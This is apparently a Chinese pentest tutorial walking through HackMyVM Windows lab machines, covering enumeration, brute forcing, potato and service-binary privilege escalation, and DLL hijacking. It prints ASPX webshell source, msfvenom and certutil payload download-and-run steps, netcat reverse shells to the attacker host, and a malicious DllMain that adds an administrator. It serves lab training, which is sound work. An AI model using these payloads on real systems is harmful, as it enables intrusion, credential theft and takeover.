全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细

全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细

通过网盘分享的文件:机器地址 链接: https://pan.baidu.com/s/142B68xL_2UOhwLipeci1Kg 提取码: v6h1

又来码字了,正如你所见,这是一篇2w字的长文

相比上一篇文章

DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏

这篇文章主要是基于windows的渗透教程

基本下班时候回家才写的,还是很有学习价值的,很适合不了解windows渗透和域渗透的师傅们

这些靶机都是免费开源的,域渗透这块也写的很详细

这次靶场渗透,DC01,DC02,DC03,DC04是域渗透,也是Hackmyvm中的全部windows机器

不是vulnhub上的9个dc,难度相对来说比较难,其他为提权靶机,提权linux在linux中学的比较好的话,在windows这块应该也不是问题

linux渗透以及提权文章合集(基于vulnhub和红日靶场)https://longyusec.com/longyushoulu/oscpdaba/

适合刚开始学windows提权的师傅们,顺序由最简单,到最难,由提权到域渗透以及kerberos攻击、土豆提权、烂土豆提权、runas提权、msf内核漏扫、hash传递(PTH)域内SID枚举等等。

如果在复现的过程中出现了什么问题,欢迎师傅们添加我的微信交流,+ baibaixiaoyu2024

在开始之前,先打一波广告

点击即达

16e78526f720250621235131

1、HackMyVm-OMG :简单

1.1 信息打点

这个靶机比较简单,主要需要考虑web的全面目录扫描,包括.开头的隐藏文件

首先是80端口

image-20251018103806818

全端口扫描

image-20251018104538300

1.2 目录扫描

这里有一个xampp可以利用

dirsearch -u http://10.10.10.156/

image-20251018110954546

1.3 全面目录扫描

使用各种目录扫描,爆出来一个.version隐藏文件

gobuster dir -u http://10.10.10.156/dashboard/ -w /usr/share/wordlists/dirb/common.txt -x php,asp,aspx,heml,zip

wfuzz -u http://10.10.10.156/.FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --sc 200

wfuzz -u http://10.10.10.156/images/.FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --sc 200

wfuzz -u http://10.10.10.156/Webalizer/.FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --sc 200

wfuzz -u http://10.10.10.156/xampp/.FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --sc 200

image-20251018111038922

使用curl查看版本信息,这是php的版本

curl http://10.10.10.156/xampp/.version

image-20251018111107562

1.4 漏洞利用

漏洞原理,找了半天才找到,可以查看下面这个文章,漏洞利用如下

https://github.com/php/php-src/security/advisories/GHSA-3qgc-jrrr-25jv

image-20251018113149215

2、HackMyVm-quoted :简单

2.1 信息打点

web界面

image-20251018114019387

2.2 ftp匿名登录

端口扫描,看到了可以匿名登录

image-20251018120117023

利用ftp匿名登录,账号ftp,密码没有,直接回车就能连接ftp服务器,发现这个ftp服务器,就是web目录,尝试使用put上传一个file.txt测试文件

image-20251018120712387

访问这个file文件,上传成功!

image-20251018120727135

2.3 获取shell

我们上传一个cmdasp.aspx上去

这个文件kali自带,在 /usr/share/webshells/aspx/cmdasp.aspx

源码如下

<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
}
string ExcuteCmd(string arg)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c "+arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}
void cmdExe_Click(object sender, System.EventArgs e)
{
Response.Write("<pre>");
Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
Response.Write("</pre>");
}
</script>
<HTML>
<HEAD>
<title>awen asp.net webshell</title>
</HEAD>
<body >
<form id="cmd" method="post" runat="server">
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
</form>
</body>
</HTML>

<!-- Contributed by Dominic Chell (http://digitalapocalypse.blogspot.com/) -->
<!--    http://michaeldaw.org   04/2007    -->

image-20251018123431293

我们找到这个1.exe,可以使用如下cmd命令进行定位,msf注意监听,即可反弹过来

where /r c:\ shell.exe # 查找在c盘指定文件的位置

image-20251018123834251

2.4 msf内核漏扫

在meteroreter模块中使用bg命令,将这个会话运行在后台,使用本地提权扫描模块,设置好相关的配置

image-20251018124108990

启动扫描,这个靶机有10个提权漏洞

image-20251018124125372

10个提权payload 只有 exploit/windows/local/ms16_075_reflection_juicy这个模块使用成功

image-20251018163000160

3、HackMyVm-Zero :简单

3.1 信息打点

nmap -sS 192.168.53.9 -T4

image-20251020113457567

nmap -sS -p 53,88,135,139,389,445,464,593,636,3268,3269,5985 192.168.53.9 -T4 -A

image-20251020113529910

使用enum4linux-ng枚举目标系统信息,发现smb服务开启,且支持smb1.0协议,可能存在永恒之蓝漏洞

enum4linux-ng -A 192.168.53.9 -C/

image-20251020113541212

3.2 漏洞扫描

使用nmap进行端口漏洞扫描,确实存在永痕之蓝漏洞

image-20251020113556622

3.3 漏洞利用

永痕之蓝漏洞直接打开MSF(复现的过程中,可能需要手工使用永痕之蓝poc,可以参考下面文章)

https://hgbe02.github.io/Hackmyvm/Zero.html

image-20251020115324950

image-20240802170222589

4、HackMyVm-Simple :简单

4.1 信息打点

端口扫描

image-20251019104131001

web界面,通过界面可能存在的系统用户如下

ruy, marcos, lander, bogo, vaiper

image-20251018234846001

4.2 nxc服务爆破

把上面的几个用户,追加到一个字典中,并使用这些用户作为密码进行爆破或者使用rokyou.txt

nxc smb 192.168.0.139 -u user -p user
nxc smb 192.168.0.139 -u user -p /usr/share/wordlists/rokyou.txt

image-20251019113701303

发现是紫色的提示,翻译一下错误就能发现,这密码过期了,需要登录到虚拟机上修改这个账号的密码

4.3 近源攻击

esc进入用户列表,选择bogo用户:

image-20251019115927238

输入正确的密码bogo后,需要你修改密码

image-20251019120058656

尝试执行命令,一切正常

image-20251019120147010

4.4 smb渗透

再来到smb登录这块,就能正常登录了

image-20251019120352586

再LOGS共享文件中发现了一个日志文件,使用get命令将它下载下来

image-20251019121035237

尝试将之前的用户字典上传上去,使用put命令,发现没有上传权限

image-20251019121020613

日志内容

┌──(root㉿kali)-[/data/demo]
└─# cat 20231008.log
PS C:\> dir \\127.0.0.1\WEB
Acceso denegado
At line:1 char:1
+ dir \\127.0.0.1\WEB
+ ~~~~~~~~~~~~~~~~~~~
   + CategoryInfo         : PermissionDenied: (\\127.0.0.1\WEB:String) [Get-ChildItem], UnauthorizedAccessException
   + FullyQualifiedErrorId : ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
Cannot find path '\\127.0.0.1\WEB' because it does not exist.
At line:1 char:1
+ dir \\127.0.0.1\WEB
+ ~~~~~~~~~~~~~~~~~~~
   + CategoryInfo         : ObjectNotFound: (\\127.0.0.1\WEB:String) [Get-ChildItem], ItemNotFoundException
   + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetChildItemCommand

PS C:\> net use \\127.0.0.1\WEB
Se ha completado el comando correctamente.

PS C:\> dir \\127.0.0.1\WEB
Acceso denegado
At line:1 char:1
+ dir \\127.0.0.1\WEB
+ ~~~~~~~~~~~~~~~~~~~
   + CategoryInfo         : PermissionDenied: (\\127.0.0.1\WEB:String) [Get-ChildItem], UnauthorizedAccessException
   + FullyQualifiedErrorId : ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
Cannot find path '\\127.0.0.1\WEB' because it does not exist.
At line:1 char:1
+ dir \\127.0.0.1\WEB
+ ~~~~~~~~~~~~~~~~~~~
   + CategoryInfo         : ObjectNotFound: (\\127.0.0.1\WEB:String) [Get-ChildItem], ItemNotFoundException
   + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetChildItemCommand

PS C:\> net use \\127.0.0.1\WEB /user:marcos SuperPassword
Se ha completado el comando correctamente.

PS C:\> dir \\127.0.0.1\WEB

   Directorio: \\127.0.0.1\WEB

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        10/8/2023   9:46 PM                aspnet_client
-a----        9/26/2023   6:46 PM            703 iisstart.htm
-a----        10/8/2023  10:46 PM            158 test.php

PS C:\> rm \\127.0.0.1\WEB\*.php

PS C:\> dir \\127.0.0.1\WEB

   Directorio: \\127.0.0.1\WEB

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        10/8/2023   9:46 PM                aspnet_client
-a----        9/26/2023   6:46 PM            703 iisstart.htm

PS C:\>

又得到了一个账号密码user:marcos SuperPassword

image-20251019122227579

这个用户也是一样,密码过期,需要重新设置一下密码,重复之前的步骤就好了

image-20251019122404935

尝试使用put将一个文件上传上去,上传成功!有上传的权限,那么就可以将aspx马上传上去(这里的web大概率就是网站的web目录了)

image-20251019123047119

4.5 获取shell

尝试使用put命令上传文件

cd /usr/share/webshells/aspx
smbclient //192.168.0.139/WEB/ -U marcos
# 密码 SuperPassword
put cmdasp.aspx

image-20251019123238095

访问这个马

image-20251019123400460

使用msfvenom生成反弹shell的木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.147 LPORT=4444 -f exe -o shell.exe

python3 -m http.server

image-20251019124132730

使用下载命令,将这个木马上传到靶机上

certutil -urlcache -split -f http://192.168.0.147:8000/shell.exe c:\shell.exe
# 或者利用smbclient上传也可以,此时只需要输入一个shell.exe在那个aspx命令执行界面

image-20251019125610785

打开msf启动监听

use  multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.147
run

image-20251019124021171

在命令执行的aspx的输入框中输入这个shell.exe的绝对路径就可以执行,利用下面这个命令定位马的位置

where /r c:\ shell.exe

image-20251019125914284

c:\inetpub\wwwroot\shell.exe

执行马

image-20251019125951932

4.6 msf内核漏洞扫描

bg
use multi/recon/local_exploit_suggester
set session 1
run

image-20251019130330960

尝试利用扫描出来的漏洞

use windows/local/cve_2020_0787_bits_arbitrary_file_move

存在漏洞但是始终没有创建shell会话

image-20251019131634151

找到CVE-2020-0787的exp

# 源码
https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION.git

# 创建好的
https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION/releases/download/1/BitsArbitraryFileMoveExploit.exe

此时去上传文件(这里我换了一个网,ip就变了,我用的桥接模式,使用vmbox用nat模式会出问题,导致vmware的虚拟器kali访问不到vmbox,这是最简单的解决方法)

smbclient  //192.168.110.46/WEB/ -U marcos
put BitsArbitraryFileMoveExploit.exe

image-20251020101117593

提权失败

image-20251020102218928

4.7 土豆提权

切换提权方式土豆提权,将这些全都下载下来

https://github.com/BeichenDream/GodPotato/releases/tag/V1.20

image-20251020104006736

可以看到这里我们执行的whoami已经是系统权限了,此时我们只需要添加一个反弹一个shell到本地来就可以了

image-20251020104106931

msf反弹shell

image-20251020105847249

shell反弹过来后,却不是system权限,接下来要将这个木马设置为系统权限,而不是这个用户的文件,类似于linux中的属主

image-20251020105218025

4.8 修改文件权限

GodPotato-NET4.exe -cmd "cmd /c takeown /f c:\inetpub\wwwroot\shell.exe /a"

image-20251020112402914

重新反弹即可

image-20251020112347833

5、HackMyVm-Liar :简单

5.1 信息打点

nmap -sS 192.168.53.131 -p- -T4

image-20251020134515513

这里有一个用户名nica

image-20251020133727301

使用nmap进行详细的端口扫描

nmap -sS 192.168.53.131 -p 80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49677 -T4 -A

image-20251020134604547

5.2 enum4linux枚举

使用enum4linux-ng枚举目标系统信息,smb服务器开启

enum4linux-ng -A 192.168.53.131 -C

image-20251020134945261

尝试免密登录,登录失败了

smbclient -L //192.168.53.131/ -N

这个免密登录 -N参数就代表着: “空用户名 + 空密码” 的身份,在 Windows 系统中对应的就是 anonymous 用户

也就是相当于你执行了命令 smbclient -L \192.168.56.114 -U anonymous

image-20251020135750834

5.3 nxc内网渗透

使用smb爆破

nxc smb 192.168.53.131 -u nica -p /usr/share/wordlists/metasploit/burnett_top_1024.txt

image-20251020135943159

爆破结果nica:hardcore,使用账号密码登录smb服务器

image-20251020135710869

从当前操作结果来看,nica 用户虽然凭据有效(能登录 IPC$),但权限较低,无法访问 C$ADMIN$ 等敏感共享

image-20251020135857048

5.4 远程连接

5985端口开启 ,使用windows版本的ssh连接此服务,可以看到能正常执行命令,登录成功

evil-winrm -i 192.168.53.131 -u nica -p hardcore

image-20251020140544474

看看有哪些用户,大概率就是akanksha用户继续获得其他信息了

image-20251020140731967

继续爆破

nxc smb 192.168.53.131 -u akanksha -p /usr/share/wordlists/rockyou.txt

image-20251020141336892

这也是一个低权限用户

image-20251020141509267

这里就连接不上了

evil-winrm -i 192.168.53.131 -u akanksha -p sweetgirl

image-20251020141653793

5.5 RunasCs提权

那么我们使用工具https://github.com/antonioCoco/RunasCs

以指定用户权限执行命令

*Evil-WinRM* PS C:\Users\nica> upload RunasCs.exe
                                       
Info: Uploading /root/Desktop/RunasCs.exe to C:\Users\nica\RunasCs.exe
                                       
Data: 68948 bytes of 68948 bytes copied
                                       
Info: Upload successful!
*Evil-WinRM* PS C:\Users\nica> dir


   Directorio: C:\Users\nica


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---        9/15/2018   9:12 AM                Desktop
d-r---        9/26/2023   6:44 PM                Documents
d-r---        9/15/2018   9:12 AM                Downloads
d-r---        9/15/2018   9:12 AM                Favorites
d-r---        9/15/2018   9:12 AM                Links
d-r---        9/15/2018   9:12 AM                Music
d-r---        9/15/2018   9:12 AM                Pictures
d-----        9/15/2018   9:12 AM                Saved Games
d-r---        9/15/2018   9:12 AM                Videos
-a----        7/14/2024  10:49 PM          51712 RunasCs.exe
-a----        9/26/2023   6:44 PM             10 user.txt


*Evil-WinRM* PS C:\Users\nica> ./RunasCs.exe akanksha sweetgirl cmd.exe -r 192.168.53.51:4567

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-2922e6$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 2496 created in background.
> nc -lvnp 4567                                                        
listening on [any] 4567 ...
connect to [192.168.53.51] from (UNKNOWN) [192.168.53.131] 49674
Microsoft Windows [Versi�n 10.0.17763.107]
(c) 2018 Microsoft Corporation. Todos los derechos reservados.

C:\Windows\system32>

成功弹回了shell

C:\Users>whoami /groups
whoami /groups

INFORMACI�N DE GRUPO
——————–

Nombre de grupo Tipo SID Atributos
============================================ ============== ============================================== ========================================================================
Todos Grupo conocido S-1-1-0 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
WIN-IURF14RBVGV\Idministritirs Alias S-1-5-21-2519875556-2276787807-2868128514-1002 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
BUILTIN\Usuarios Alias S-1-5-32-545 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\INTERACTIVE Grupo conocido S-1-5-4 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
INICIO DE SESI�N EN LA CONSOLA Grupo conocido S-1-2-1 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Usuarios autentificados Grupo conocido S-1-5-11 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Esta compa��a Grupo conocido S-1-5-15 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Cuenta local Grupo conocido S-1-5-113 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Autenticaci�n NTLM Grupo conocido S-1-5-64-10 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
Etiqueta obligatoria\Nivel obligatorio medio Etiqueta S-1-16-8192

所属组是Idministritirs 也就是Administrator

C:\Users\Administrador>dir
dir
El volumen de la unidad C no tiene etiqueta.
El n�mero de serie del volumen es: 26CD-AE41

Directorio de C:\Users\Administrador

26/09/2023 18:36 <DIR> .
26/09/2023 18:36 <DIR> ..
26/09/2023 15:11 <DIR> 3D Objects
26/09/2023 15:11 <DIR> Contacts
26/09/2023 15:11 <DIR> Desktop
26/09/2023 15:11 <DIR> Documents
26/09/2023 15:11 <DIR> Downloads
26/09/2023 15:11 <DIR> Favorites
26/09/2023 15:11 <DIR> Links
26/09/2023 15:11 <DIR> Music
26/09/2023 15:24 16.418 new.cfg
26/09/2023 15:11 <DIR> Pictures
26/09/2023 18:36 13 root.txt
26/09/2023 15:11 <DIR> Saved Games
26/09/2023 15:11 <DIR> Searches
26/09/2023 15:11 <DIR> Videos
2 archivos 16.431 bytes
14 dirs 45.911.502.848 bytes libres

C:\Users\Administrador>type root.txt
type root.txt
HMV1******

6、HackMyVm-Nessus :简单

6.1 端口扫描

image-20251020153250377

6.2 漏洞扫描

nmap -sS -p 135,139,445,5985,8834 192.168.53.238 -T4 -A --script=vuln

image-20251020154132384

在访问这个端口的时候,提示你需要使用https访问

image-20251020154532677

那就使用https访问,没有账号密码,登录不进去

image-20251020154553922

6.3 查看smb服务

尝试免密连接smb服务,可以正常连接,并且里面有两个PDF

image-20251020155209430

看看什么内容

My Basic Network Scan_hwhm7q.pdf

image-20251020155716103

Web Application Tests_f6jg9t.pdf

image-20251020155923774

发现作者信息,jose

exiftool [pdf]

image-20251020160241637

6.4 爆破Nessus后台

前面已经发现了,smb是可以免密登录的,那么现在就只有nessus爆破了,来到nessus登录界面,抓包,添加爆破的payload

image-20251020160900386

根据这些数据包,使用wfuzz进行爆破因为要用到kali中的rockyou.txt字典(也可以将rockyou.txt传到本机windows进行爆破)

 wfuzz -c -z file,/usr/share/wordlists/rockyou.txt \
 -X POST \
 -H "Host: 192.168.53.238:8834" \
 -H "X-Api-Token: 4c746180-a399-4abd-a9a0-49055fac236f" \
 -H "Content-Type: application/json" \
 -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36" \
 -H "Origin: https://192.168.53.238:8834" \
 -H "Referer: https://192.168.53.238:8834/" \
 -d '{"username":"jose","password":"FUZZ"}' \
 --hc 401,403 \
 -f result.txt,raw \
 https://192.168.53.238:8834/session

image-20251020162306826

得到密码,tequiero

image-20251020163611573

当前nessus版本为10.7.3,应该是比较新的,没有什么漏洞,或者漏洞没有公开(去网上搜了下,可能有一个本地提权漏洞,但是exp没有公开)

image-20251020164845527

6.5 盗取认证信息

来到代理界面,尝试查看源码查看密码,查看失败

image-20251020165401826

那么就利用代理,发送数据包到kali中,看看有没有密码出现,kali记得开nc

image-20251020165136046

kali得到的信息,没有密码信息

image-20251020165147817

一个一个切换,当我切换到basic这个内容

image-20251020165611321

nc接收到的数据包如下,发现一段密文

image-20251020165603321

得到认证信息,解密后就是账号密码

nesus:Z#JuXH$ph-;v@,X&mV)

image-20251020165715357

得到账号密码,和之前那个靶机一样,需要修改登录的密码,这个已经过期了

nxc smb 192.168.53.238 -u nesus -p 'Z#JuXH$ph-;v@,X&mV)'

image-20251020170528547

6.6 近源攻击!!

按两次Esc键,来到选择账户界面

image-20251020170701699

修改你的账号密码

image-20251020171212259

修改密码为123456,登录smb,发现什么也没有

image-20251020171440950

6.7 远程连接

那就来到5985端口,执行命令成功!

evil-winrm -i 192.168.53.238 -u nesus -p 123456

image-20251020171434398

6.8 反弹shell

这里我尝试了各种msf的木马,都被杀软给杀了,无意间使用nc的时候就不会被杀,使用nc进行反弹shell(kali记得开监听)

image-20251020184118341

./nc.exe 192.168.53.51 1234 -e cmd

image-20251020184144984

6.9 提权

6.9.1 local_exploit_suggester提权

打开msf(这一步其实很多余,这样子是扫不出来的,基本只有后渗透模块meterperter才能使用)

msfconsole
use exploit/multi/handler # 加载handler模块
# 根据目标系统选择payload(nc反弹的是基础shell,非meterpreter)

# 目标是Windows,接收nc命令反弹的shell:
set PAYLOAD windows/shell_reverse_tcp

set LHOST 192.168.53.51 # 攻击机IP(与nc反弹目标一致)
set LPORT 1234 # 监听端口(与nc反弹端口一致)
run -j # 启动监听,保持后台执行

use multi/recon/local_exploit_suggester # 使用本地提权漏扫模块
set session 3 # 设置反弹成功的会话id为3,使用 sessions 即可查看所有的会话id

image-20251020184510142

6.9.2 PrivescCheck提权

内网常见的提权和信息收集文章参考:

https://www.cnblogs.com/Hekeats-L/p/16879325.html

工具链接:

https://github.com/itm4n/PrivescCheck/releases/tag/2025.10.06-1

upload PrivescCheck.ps1
Set-ExecutionPolicy Bypass -Scope process -Force
./PrivescCheck.ps1 # 或者. .\PrivescCheck.ps1
Invoke-PrivescCheck

image-20251020192313555

有一个高危的提权漏洞

image-20251020192723015

看看文件信息

image-20251020193736488

每一项描述如下(如果您精通linux提权的话,将会和linux进行类比)

Name 服务的 “内部名字”(操作服务时用,比如启停服务) nginx 服务的内部名就是 “nginx”(用systemctl restart nginx时的名字) 后续想重启这个服务,要用到这个名字
DisplayName 服务的 “显示名字”(在 Windows 服务面板里看到的名字,方便你找到它) nginx 在 Linux 里的显示名可能是 “nginx – high performance web server” 确认你改的是对的服务,别改错了
User 这个服务是用 “LocalSystem” 权限运行的(Windows 里的最高权限,比管理员还高) 类比 Linux 里用 “root” 用户运行的 nginx 服务 提权的关键!服务跑在最高权限,改了它的程序就能拿最高权限
ImagePath 服务启动时会执行的 “核心 exe 文件路径”(就是你要替换的那个文件) 类比 Linux 里 nginx 守护进程的路径/usr/sbin/nginx 目标文件!把这个 exe 换成恶意程序就行
StartMode 服务是 “自动启动” 的(开机或服务崩溃后会自己重启) 类比 Linux 里systemctl enable nginx(开机自启) 替换文件后不用手动触发,重启机器 / 服务就会执行恶意程序
Type 服务是 “独立进程”(启动时只跑这个 exe,不依赖其他程序) 类比 Linux 里 nginx 是独立进程(ps aux | grep nginx 能看到单独的进程)  
RegistryKey/Path 服务在 Windows 注册表中的配置路径(不用管,提权用不上) 类比 Linux 里 nginx 的配置文件路径/etc/nginx/nginx.conf(但这里是注册表,不用管) 次要信息,不用关注
Status 服务当前状态(空,因为前面警告没查到) 类比 Linux 里systemctl status nginx报错,看不到 “active” 还是 “inactive” 后续手动用命令查就行,不影响提权
UserCanStart 你当前用户 “不能手动启动这个服务” 类比 Linux 里普通用户不能systemctl start nginx 没关系,能重启机器或杀进程间接触发
UserCanStop 你当前用户 “不能手动停止这个服务” 类比 Linux 里普通用户不能systemctl stop nginx 没关系,用taskkill(类比 Linux 的 kill)杀进程就行
ModifiablePath 你能修改的文件路径 —— 就是上面说的那个要替换的 exe(nessus-service.exe) 类比 Linux 里ls -l /usr/sbin/nginx显示你有 w 权限,能改这个文件 明确告诉你 “要改哪个文件”
IdentityReference 拥有这个修改权限的用户 —— 就是你当前的 “NESSUS\nesus” 用户 类比 Linux 里ls -l /usr/sbin/nginx显示 “ubuntu rwx”(你的用户有权限) 确认 “是你自己有这个改文件的权限”
Permissions 你的权限是 “完全控制”(能改、能删、能替换这个 exe,想干嘛干嘛) 类比 Linux 里的 “rwx” 权限,尤其是 “w”(写入)权限  

总结一下:你当前的nesus用户,能完全控制一个叫Tenable Nessus的服务 —— 这个服务是用 Windows 最高权限(LocalSystem,类比 Linux root)运行的,启动时会执行nessus-service.exe。而且这个服务是开机自动启动的,你只要把nessus-service.exe换成恶意程序,下次服务启动(重启机器 / 杀进程),恶意程序就会用最高权限跑起来 —— 和你在 Linux 里替换 root 运行的/usr/sbin/nginx、重启后拿 root 权限,完全一样。

cd "C:\Program Files\Tenable\Nessus\"
dir

image-20251020194412017

原来是可以利用直接替换这个应用程序进行提权,但是这里,杀软会查杀掉我们的msf马,要么你有能力过这个windows defender

当然也可以使用nc,但是nc是一个应用程序,需要选用参数,而不是直接执行,就能上线msf或者kali的nc的,需要使用批处理也就是.bat

# kali
echo "C:\Users\nesus\Documents\nc.exe 192.168.53.51 4444 -e cmd.exe" > nessus-service.bat

# evil-winrm
upload nessus-service.bat “C:\Program Files\Tenable\Nessus\nessus-service.exe”

image-20251020200308023

这里漏掉了一个关键(你需要杀死它的进程,让服务自动重启)

我们使用Stop-Process强制重启服务的时候报了一个错误:拒绝访问(Access is denied)

Stop-Process -Id (Get-Process -Name "nessus-service").Id -Force

image-20251020200529287

遇到 “Access denied” 是因为nessus-service进程以LocalSystem权限运行,低权限用户无法直接杀死。

如何解决?尝试更底层的taskkill

taskkill是 Windows 原生的进程杀死命令,权限处理和Stop-Process不同,先试一次:

taskkill /f /im nessus-service.exe

image-20251020200653509

照样也是拒绝访问。重启计算机也没用,那么就换一种方法,dll劫持!dll劫持!

6.10 DLL劫持

6.10.1 什么是 DLL 劫持?(类比 Linux)

1. 基础定义

DLL(Dynamic Link Library,动态链接库)是 Windows 里的 “共享代码文件”,类似 Linux 的.so文件(Shared Object)。很多程序(比如服务、软件)运行时会主动加载依赖的 DLL 文件(比如调用 DLL 里的函数)。DLL 劫持的本质是:攻击者替换 / 插入一个恶意 DLL 文件,让高权限运行的目标程序(比如 LocalSystem 权限的服务)“误加载” 我们的恶意 DLL,从而执行恶意代码(相当于 Linux 里用LD_PRELOAD强制 root 进程加载恶意.so文件)。

2. 类比 Linux 场景

你在 Linux 里想提权时,可能会用LD_PRELOAD=/tmp/malicious.so /usr/bin/root_program,强制 root 运行的root_program加载你的恶意.so文件,.so里的代码会以 root 权限执行。Windows DLL 劫持和这个逻辑完全一样:让 LocalSystem 权限的Tenable Nessus服务,加载你写的恶意legacy.dll,DLL 里的代码会以 LocalSystem 权限执行。

6.10.2 DLL 劫持提权过程

1、查权限

icacls "C:\Program Files\Tenable\Nessus\*.dll" 是 Windows 中用来查看指定目录下所有dll文件 / 子目录权限的命令,作用类似 Linux 里的 ls -l /path/*.dll(查看某个目录下所有文件的权限详情)。

icacls "C:\Program Files\Tenable\Nessus\*.dll"

为什么要使用这条命令?

确认你当前用户(nesus)对服务依赖的 DLL 文件(比如legacy.dll)有写入 / 替换权限

从之前的权限结果看,nesus对这些 DLL 有F(完全控制)权限 —— 相当于 Linux 里用ls -l /usr/lib/root_program_dep.so看到普通用户有w权限,满足 “能替换文件” 的前提。

image-20251020194817923

权限表,和linux差不多,这里多了个修改还有删除,linux中只有rwx

符号 权限说明 对应操作
F 完全控制 读取、写入、执行、删除、修改属性
M 修改 写入、删除(需配合F
RX 读取和执行 查看内容、运行程序
R 只读 查看内容
W 写入 修改内容(需目录权限)
D 删除 删除文件或子目录

2、编写恶意 DLL 代码

在网上找到一个脚本,这是一个基础的恶意 DLL,核心逻辑在DLLMain函数里:

/*
DLL hijacking example
author: @cocomelonc
*/

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: // 程序加载DLL时触发(关键分支)
system(“cmd.exe /k net localgroup administrators nesus /add”); // 恶意命令:把nesus加入管理员组
break;
case DLL_PROCESS_DETACH: // 其他分支(进程卸载、线程创建/销毁)暂不用管
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}

关键解释

  • DLLMain是 DLL 的 “入口函数”,类似 Linux.so文件的_init函数 —— 目标程序(Nessus 服务)加载 DLL 时,会自动调用DLLMain,并触发DLL_PROCESS_ATTACH分支。

  • 恶意命令net localgroup administrators nesus /add:把nesus加入管理员组(这里是示例,实际可写反弹 shell 命令,拿到 LocalSystem 权限)。

Linux 类比:写一个恶意.so文件,在_init函数里执行system("usermod -aG sudo ubuntu"),让 root 进程加载时把普通用户加入 sudo 组。

3、编译恶意 DLL(生成 Windows 能识别的格式)

在 Kali 里用mingw编译 C 代码,生成 Windows 可加载的 DLL 文件:

# kali
x86_64-w64-mingw32-gcc exp.c -shared -o legacy.dll

x86_64-w64-mingw32-gcc:Windows 交叉编译器(生成 64 位 Windows 程序,需和目标系统位数匹配);

-shared:生成 “共享库”(即 DLL 文件,对应 Linux 的.so);

-o legacy.dll:输出文件名为legacy.dll(必须和目标服务依赖的 DLL 同名,否则服务找不到)。

4、备份原 DLL + 上传替换(避免服务崩溃 + 植入恶意文件)

# evil-winrm
cd "C:\Program Files\Tenable\Nessus"
mv legacy.dll legacy_beifen.dll # 备份文件
upload legacy.dll # 上传你kali编译的dll文件

备份原 DLL:legacy.dll是 Nessus 服务的依赖文件,直接删除会导致服务崩溃,备份后可回滚(类似 Linux 里cp /usr/lib/libnginx_dep.so /tmp/);

上传替换:让服务下次加载legacy.dll时,加载的是你的恶意 DLL(类似 Linux 里cp /tmp/malicious.so /usr/lib/libnginx_dep.so)。

5、重启虚拟机(触发服务加载恶意 DLL)

最后重启目标机,Nessus 服务会随系统开机启动 —— 启动时会自动加载依赖的legacy.dll(此时已被替换成恶意 DLL):

  1. 服务以LocalSystem(Windows 最高权限,类比 Linux root)启动;

  2. 加载恶意legacy.dll,触发DLLMainDLL_PROCESS_ATTACH分支;

  3. 执行net localgroup administrators nesus /add,把nesus加入管理员组(实际可改为反弹 shell 命令,拿到 SYSTEM 权限);

  4. 重启后,nesus已拥有管理员权限,提权成功。

image-20251020201937225

6.10.3 DLL 劫持的核心利用条件(必须满足这 4 点,否则失败)

Linux.so劫持的条件类似,DLL 劫持能成功,必须同时满足以下 4 个条件(你的场景全部满足):

1. 目标程序(服务 / 软件)以高权限运行
